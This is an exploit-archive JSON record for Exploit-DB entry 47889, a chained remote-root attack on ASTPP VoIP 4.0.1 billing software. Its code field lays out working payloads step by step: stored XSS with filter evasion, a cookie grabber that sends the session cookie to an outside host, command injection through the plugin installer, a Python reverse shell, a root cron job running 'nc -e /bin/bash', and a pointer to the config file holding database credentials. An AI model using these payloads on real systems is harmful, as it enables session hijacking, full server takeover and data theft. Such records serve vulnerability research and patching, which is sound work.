{"exploit":{"id":"EDB-47889","name":"ASTPP VoIP 4.0.1 - Remote Code Execution (RCE)","description":"ASTPP VoIP 4.0.1 - Remote Code Execution (RCE)","cves":["CVE-2020-37153"],"author":"Fabien AUNAY","published":"2020-01-08","platform":"linux","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/47889","path":"exploits/linux/remote/47889.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-47889.txt","vulnerabilities":[{"id":"CVE-2020-37153","state":"PUBLISHED","title":"ASTPP VoIP 4.0.1 - Remote Code Execution","titleSource":"CVE Program","description":"ASTPP 4.0.1 contains multiple vulnerabilities including cross-site scripting and command injection in SIP device configuration and plugin management interfaces. Attackers can exploit these flaws to inject system commands, hijack administrator sessions, and potentially execute arbitrary code with root permissions through cron task manipulation.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-37153","cvss":{"version":"4.0","baseScore":7.7,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2020-37153"},"updatedAt":"2026-03-05T01:28:17.525Z","retrievedAt":"2026-11-27T06:59:33.739Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-47889.png?v=2","url":"https://exploitbin.com/exploits/EDB-47889","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-47889/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-47889/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: ASTPP VoIP 4.0.1 - Remote Code Execution\n# Date: 2019-11-18\n# Exploit Author: Fabien AUNAY\n# Vendor Homepage: https://www.astppbilling.org/\n# Software Link: https://github.com/iNextrix/ASTPP/tree/v4.0.1\n# Version: 4.0.1 vendor default setup script\n# Tested on: Debian 9 - CentOS 7\n# CVE : -\n\n###########################################################################################################\nASTPP 4.0.1 VoIP Billing Chained Remote Root\nA Smart TelePhony Platform for Individual Business, Wholesale and Residential VoIP Service Providers!\nIt is available as an open source solution. It means without any investment, one can start his telephony\nbusiness using ASTPP.\nASTPP, being one of the most powerful VoIP Billing Software, thrives to benefit its users by providing a\ncomprehensive telephony solution. This open source solution has lifted itself up from a mere VoIP billing\nsolution to “A Smart TelePhony Platform”.\nThe latest version of ASTPP is provisioned with some advanced functional modules which are designed\nto eliminate the need of multiple solutions to run a VoIP business. It has integrated hosted IP PBX, Class\n4/5 Softswitch, and complete invoicing and billing solution developed by leveraging Smart\nTechnology.\n\nSteps are as follows:\nObjective 1 : Edit the SIP device and try to test user inputs\nObjective 2 : Try to trigger a XSS\nObjective 3 : Try to evade filters\nObjective 4 : Session Hijack\nObjective 5 : Plugin command injection\nObjective 6 : Reverse shell\nObjective 7 : Root the system\nObjective 8 : Looting\n\n###########################################################################################################\n\nObjective 1 : html code in SIP Caller Number\nPOC: <b>ASTPP html test</b>\n\nObjective 2 : XSS injection in SIP Caller Name\nPOC: <svg/onload=alert('XsS-Inj3cTIoN')>\n\nObjective 3 : XSS document.cookie evasion\nPOC: <svg/onload=alert(document/*foo*/./*bar*/cookie)>\n\nObjective 4 : XSS document.cookie grabber\nPOC: <svg/onload=window.open(\"http://127.0.0.1:8080/?\"+document/*foo*/./*bar*/cookie)>\n\nAlternative : if the user input is limited, it is possible in some cases to modify the length with the inspector\nPOC: <input data-ripple=\"\" type=\"text\" name=\"name\" value=\"1\" placeholder=\"\" size=\"20\" maxlength=\"30\" class=\"col-md-12 form-control form-control-lg\">\nPOC': <input data-ripple=\"\" type=\"text\" name=\"name\" value=\"1\" placeholder=\"\" size=\"20\" maxlength=\"250\" class=\"col-md-12 form-control form-control-lg\">\n\nObjective 5 : Plugin command injection\nAfter administrator cookie and session hijack, it is possible to install some stuff. ASTPP allows one of the best to perform a system command injection.\nThe get addons sub menu, allow attacker to install “Switch Monitoring”. Use the system command followed by your instructions and press 'Submit'\nPOC : system date;id;whoami\n\nObjective 6 : Reverse shell\nPOC: system python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\nObjective 7 : Root the system\nA vulnerability was identified in web Crons menu. The cron task was executed with root permissions due to a wrong configuration of the installation script.\nBefore use it, you should step back to your reverse shell and check the date of the server.\n\nPOC:\nName: Exploit cron\nCommand: nc 127.0.0.1 8080 -e /bin/bash\nInterval Type: Minute\nInterval: 1\nNext Execution Date: xxxx-xx-xx yy:yy:yy\nStatus: Active\n\nObjective 8 : Looting\nThe /var/lib/astpp/astpp-config.conf file contains all information to explore the database.","sha256":"2be5f04a676480f7dbad35bfc3509b7ec6b459789c599a9a7307485ebf6fa1d8","bytes":3658,"fetchedAt":"2026-11-27T08:09:00.096Z","encoding":"utf-8 (display only; download retains original bytes)"}